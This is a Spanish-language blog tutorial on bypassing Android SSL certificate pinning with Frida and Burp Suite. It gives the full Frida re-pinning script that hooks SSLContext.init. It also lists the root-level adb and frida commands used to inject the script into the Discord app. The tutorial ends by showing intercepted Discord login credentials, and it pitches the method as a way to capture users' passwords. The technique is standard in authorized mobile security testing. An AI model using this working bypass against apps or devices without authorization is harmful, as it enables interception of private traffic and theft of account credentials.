Enviado por Edu4rdSHL el Dom, 25/08/2019 - 19:26
Android hacked

En este artículo te voy a explicar cómo saltar el mecanismo SSL Pinning que se implementa para aplicaciones en Android y de este modo poder capturar tráfico SSL, datos de usuario, contraseñas y lo que desees. Para lograr este cometido, necesitaremos de varias cosas:

  1. Un dispositivo Android con acceso Root, puede ser un dispositivo físico o sencillamente uno corriendo en un emulador.
  2. Python instalado en nuestro sistema operativo.
  3. La herramienta Frida. Puedes instalarla usando el comando pip install Frida objection frida-tools --user una vez hayas instalado Python en tu sistema.
  4. Burpsuite.
  5. Android Platform Tools, especialmente ADB.
  6. El script para la inyección a la aplicación móvil: puedes descargarlo desde este enlace de descarga o simplemente guardando el siguiente código como fridascript.js
    /* 
       Android SSL Re-pinning frida script v0.2 030417-pier 
    
       $ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
       $ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause
    
       https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/
       
       UPDATE 20191605: Fixed undeclared var. Thanks to @oleavr and @ehsanpc9999 !
    */
    
    setTimeout(function(){
        Java.perform(function (){
        	console.log("");
    	    console.log("[.] Cert Pinning Bypass/Re-Pinning");
    
    	    var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
    	    var FileInputStream = Java.use("java.io.FileInputStream");
    	    var BufferedInputStream = Java.use("java.io.BufferedInputStream");
    	    var X509Certificate = Java.use("java.security.cert.X509Certificate");
    	    var KeyStore = Java.use("java.security.KeyStore");
    	    var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
    	    var SSLContext = Java.use("javax.net.ssl.SSLContext");
    
    	    // Load CAs from an InputStream
    	    console.log("[+] Loading our CA...")
    	    var cf = CertificateFactory.getInstance("X.509");
    	    
    	    try {
    	    	var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt");
    	    }
    	    catch(err) {
    	    	console.log("[o] " + err);
    	    }
    	    
    	    var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
    	  	var ca = cf.generateCertificate(bufferedInputStream);
    	    bufferedInputStream.close();
    
    		var certInfo = Java.cast(ca, X509Certificate);
    	    console.log("[o] Our CA Info: " + certInfo.getSubjectDN());
    
    	    // Create a KeyStore containing our trusted CAs
    	    console.log("[+] Creating a KeyStore for our CA...");
    	    var keyStoreType = KeyStore.getDefaultType();
    	    var keyStore = KeyStore.getInstance(keyStoreType);
    	    keyStore.load(null, null);
    	    keyStore.setCertificateEntry("ca", ca);
    	    
    	    // Create a TrustManager that trusts the CAs in our KeyStore
    	    console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
    	    var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
    	    var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
    	    tmf.init(keyStore);
    	    console.log("[+] Our TrustManager is ready...");
    
    	    console.log("[+] Hijacking SSLContext methods now...")
    	    console.log("[-] Waiting for the app to invoke SSLContext.init()...")
    
    	   	SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {
    	   		console.log("[o] App invoked javax.net.ssl.SSLContext.init...");
    	   		SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);
    	   		console.log("[+] SSLContext initialized with our custom TrustManager!");
    	   	}
        });
    },0);

¿Qué es SSL Pinning?

La mayoría de aplicaciones móviles implementan SSL Pinning ¿Por qué? Considera que quieres intercambiar algunos datos entre nuestro dispositivo y servidor de forma segura ¿El cifrado SSL hará que la transferencia de datos sea segura? Bueno, hay una trampa. Antes de la transferencia de datos, el cliente busca el certificado SSL del servidor y revisa si coincide con el nombre de host solicitado y la certificación raíz de confianza. Lo que no garantiza es que el certificado suministrado sea el certificado real proporcionado por el servidor para el nombre de host solicitado; por lo tanto, confiar en los certificados de confianza almacenados en el dispositivo no hará que la transferencia de datos sea "segura".

Certificate Pinning es una codificación del certificado en el que se confía en el servidor remoto dentro de la propia aplicación, de modo que ignorará el almacenamiento de certificados de confianza de los dispositivos y confiará en su propio certificado codificado que la aplicación utilizará para comunicarse con el servidor remoto de forma "segura".

Saltar la protección SSL Pinning es el paso más importante que debes hacer incluso cuando comenzamos el análisis dinámico de las solicitudes HTTP para la mayoría de las aplicaciones móviles hoy en día, ya que las organizaciones están más preocupadas por la privacidad de los datos y la transferencia segura de datos a través de la red para evitar ataques como por ejemplo Man In The Middle (MiTM).

¿Qué es Frida?

"Es un kit de herramientas de instrumentación de código dinámico. Le permite inyectar fragmentos de JavaScript o su propia biblioteca en aplicaciones nativas en Windows, macOS, GNU/Linux, iOS, Android y QNX. Frida también le proporciona algunas herramientas simples creadas sobre la API de Frida. Estos pueden usarse tal cual, ajustarse a sus necesidades o servir como ejemplos de cómo usar la API " - https://www.frida.re/docs/home/

Configuración del entorno e instalación

El primer paso que debes seguir, es activar la opción "USB Debugging" en nuestro dispositivo Android como se muestra a continuación:

  1.  Activa las opciones de desarrollador en Android. Busca "Configuración -> Acerca del teléfono -> Software -> Presiona 8 veces seguidas encima de 'Número de compilación'", con eso estarán activadas.
  2. Activa la opción "USB Debugging" en "Configuración -> Opciones de desarrollador"
USB Debugging
Activando USB Debugging

3. Busca la dirección IP local de tu celular.
4. Ve a la carpeta donde están los ejecutables de Android Plaftform Tools y ejecuta: adb connect IP_de_tu_celular:5555. Ejemplo:

sechacklabs @ SecHackLabs ~
└─ ▶ adb connect 192.168.122.201:5555
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.122.201:5555

5. Verifica que el dispositivo esté conectado con adb devices

sechacklabs @ SecHackLabs ~
└─ ▶ adb devices
List of devices attached
192.168.122.201:5555	device

6. Descarga el servidor Frida de acuerdo a la arquitectura de tu celular desde https://github.com/frida/frida/releases/ y luego extraígalo. Si no sabe cual es la arquitectura de su celular, ejecute el comando adb shell getprop ro.product.cpu.abi

sechacklabs @ SecHackLabs ~
└─ ▶ adb shell getprop ro.product.cpu.abi
x86_64

En nuestro caso descargamos frida-server-12.6.17-android-x86_64.xz
7. Instala la aplicación a la cual vas a saltar la protección SSL Pinning, en nuestro caso, usaremos Facebook. Abre la aplicación y déjala corriendo en segundo plano.

Configuración del servidor Frida

Necesitamos ejecutar el servidor Frida dentro del dispositivo antes de inyectar el script. Sigue estos pasos:

  1. Suba el archivo del servidor Frida descargado anteriormente con el comando adb push ruta_a_la_carpeta_del_servidor_frida /data/local/tmp

     

    sechacklabs @ SecHackLabs ~
    └─ ▶ adb push Downloads/frida-server-12.6.17-android-x86_64 /data/local/tmp
    Downloads/frida-server-12.6.17-android-x86_64: 1 file pushed. 53.8 MB/s (52598088 bytes in 0.933s)
  2. De permisos de ejecución al archivo subido anteriormente con adb shell chmod 777 /data/local/tmp/frida-server-12.6.17-android-x86_64

Configuración de Burpsuite

Para configurar Burpsuite, sigue los pasos detallados que se encuentran en https://support.portswigger.net/customer/portal/articles/1841101-config…

Obteniendo el certificado para interceptar el tráfico

El siguiente paso es exportar el certificado usado por Burpsuite, para ello vamos a "Proxy -> Options -> Proxy Listeners -> Import/Export CA Certificate"

Exportación del certificado
Exportación del certificado

Debemos elegir la ruta y guardarlo.

Colocando el certificado de Burpsuite en el dispositivo Android

Para poder interceptar el tráfico, el servidor Frida necesita tener acceso al certificado de Burpsuite así que usaremos el mismo certificado descargado en el paso anterior. Coloca el certificado en la misma ruta del dispositivo Android donde subimos el servidor Frida con el nombre cert-der.crt (Es importante colocarlo con ese nombre para no tener problemas al momento de ejecutar el servidor, en caso de que use otro nombre deberá cambiar la línea var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt"); en el archivo fridascrypt.js descargado al comienzo del artículo). Usamos el comando adb push ruta_al_certificado_descargado_de_burpsuite
/data/local/tmp/cert-der.crt

sechacklabs @ SecHackLabs ~
└─ ▶ adb push cacert.der /data/local/tmp/cert-der.crt
cacert.der: 1 file pushed. 0.1 MB/s (973 bytes in 0.011s)

Saltando SSL Pinning usando el script de inyección fridascrypt.js

El momento de la verdadera magia ha llegado, inyectaremos fridascrypt.js en la aplicación víctima.

  1. Copia fridascrypt.js en la misma ruta donde se encuentran el servidor Frida y el certificado de Burpsuite con el comando adb push ruta_a_fridascrypt.js /data/local/tmp

     

    sechacklabs @ SecHackLabs ~
    └─ ▶ adb push fridascrypt.js /data/local/tmp/
    fridascrypt.js: 1 file pushed. 0.3 MB/s (2881 bytes in 0.009s)
  2. Ejecuta el servidor Frida en el dispositivo con privilegios root.
    sechacklabs @ SecHackLabs ~
    └─ ▶ adb shell "su -c '/data/local/tmp/frida-server-12.6.17-android-x86_64 &'"
    [1] 4311
  3. Lista todos los procesos corriendo en nuestro dispositivo móvil usando desde nuestra PC el comando frida-ps -U y localiza la aplicación que vamos a inyectar, en este caso com.discord con PÏD 7490.
    sechacklabs @ SecHackLabs ~
    └─ ▶ frida-ps -U
     PID  Name
    ----  --------------------------------------------------
    3929  adbd
    1159  android.hardware.audio@2.0-service
    1160  android.hardware.bluetooth@1.0-service.btlinux
    1161  android.hardware.camera.provider@2.4-service
    1162  android.hardware.cas@1.0-service
    1163  android.hardware.configstore@1.0-service
    1164  android.hardware.dumpstate@1.0-service
    1165  android.hardware.light@2.0-service
    1166  android.hardware.power@1.0-service
    1167  android.hardware.usb@1.0-service
    1168  android.hardware.wifi@1.0-service
    1158  android.hidl.allocator@1.0-service
    1176  audioserver
    1177  cameraserver
    1391  com.android.inputmethod.latin
    1877  com.android.launcher3
    1657  com.android.phone
    1406  com.android.systemui
    4820  com.android.vending
    7490  com.discord
    7647  com.facebook.katana
    2082  com.google.android.gms
    1969  com.google.android.gms.persistent
    1807  com.google.android.googlequicksearchbox:interactor
    7609  com.google.android.webview:s
    1772  com.google.process.gservices
    7987  com.tunnelworkshop.postern
    1178  drmserver
    4330  frida-helper-32
    4311  frida-server-12.6.17-android-x86_64
    1189  gatekeeperd
    1169  healthd
    1081  hwservicemanager
       1  init
    1179  installd
    1380  ip6tables-restore
    1379  iptables-restore
    1180  keystore
    1170  lmkd
    4313  logcat
    1079  logd
    1200  mdnsd
    1187  media.codec
    1182  media.extractor
    1183  media.metrics
    1181  mediadrmserver
    1184  mediaserver
    1137  netd
    1829  org.android_x86.analytics
    1188  rild
    1080  servicemanager
    1173  sh
    1185  storaged
    1175  su
    1171  surfaceflinger
    1270  system_server
    1172  thermalserviced
    1190  tombstoned
    1065  ueventd
    1113  v86d
    1082  vndservicemanager
    1130  vold
    1455  webview_zygote32
    1186  wificond
    1139  zygote
    1138  zygote64
  4. Conecta fridascript.js dentro de la aplicación víctima con el comando frida -U -l ruta_a_fridascrypt.js_en_su_pc -f nombre_de_la_aplicación --no-pause o frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -f nombre_de_la_aplicación --no-pause
    sechacklabs @ SecHackLabs ~
    └─ ▶ frida -U -l fridascrypt.js -f com.discord --no-pause
         ____
        / _  |   Frida 12.6.17 - A world-class dynamic instrumentation toolkit
       | (_| |
        > _  |   Commands:
       /_/ |_|       help      -> Displays the help system
       . . . .       object?   -> Display information about 'object'
       . . . .       exit/quit -> Exit
       . . . .
       . . . .   More info at http://www.frida.re/docs/home/
    Spawned `com.discord`. Resuming main thread!                            
    [QEMU Standard PC (i440FX + PIIX, 1996)::com.discord]->  
    [.] Cert Pinning Bypass/Re-Pinning
    [+] Loading our CA...
    [o] Our CA Info: CN=PortSwigger CA, OU=PortSwigger CA, O=PortSwigger, L=PortSwigger, ST=PortSwigger, C=PortSwigger
    [+] Creating a KeyStore for our CA...
    [+] Creating a TrustManager that trusts the CA in our KeyStore...
    [+] Our TrustManager is ready...
    [+] Hijacking SSLContext methods now...                                                                                                              
    [-] Waiting for the app to invoke SSLContext.init()...
    [o] App invoked javax.net.ssl.SSLContext.init...
    [+] SSLContext initialized with our custom TrustManager!
    [o] App invoked javax.net.ssl.SSLContext.init...
    [+] SSLContext initialized with our custom TrustManager!
    [o] App invoked javax.net.ssl.SSLContext.init...
    [+] SSLContext initialized with our custom TrustManager!
    [o] App invoked javax.net.ssl.SSLContext.init...
    [+] SSLContext initialized with our custom TrustManager!
    [o] App invoked javax.net.ssl.SSLContext.init...
    [+] SSLContext initialized with our custom TrustManager!
    [o] App invoked javax.net.ssl.SSLContext.init...
    [+] SSLContext initialized with our custom TrustManager!
    [o] App invoked javax.net.ssl.SSLContext.init...
    [+] SSLContext initialized with our custom TrustManager!
  5. ¡Ya está! Ahora todo el tráfico que pase por la aplicación será interceptado por Burpsuite como se puede ver a continuación:
    Inicio de sesión Discord
    Inicio de sesión Discord

     

    Usuario y contraseña de Discord interceptados
    Usuario y contraseña de Discord interceptados

Eso es todo lo que quería enseñarte, espero que haya sido de tu agrado. Si fue así, chatea con nosotros en Discord, registrate en el foro, síguenos en Facebook y Twitter, y no olvides compartirnos en las redes sociales, te lo agradecemos.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, experto en técnicas de privacidad y seguridad en la red, analista de criptografía, Fundador de Security Hack Labs. Desarrollador de BlackArch Linux. Twitter: @edu4rdshl XMPP: edu4rdshl@conversations.im Threema ID: 736WU8VV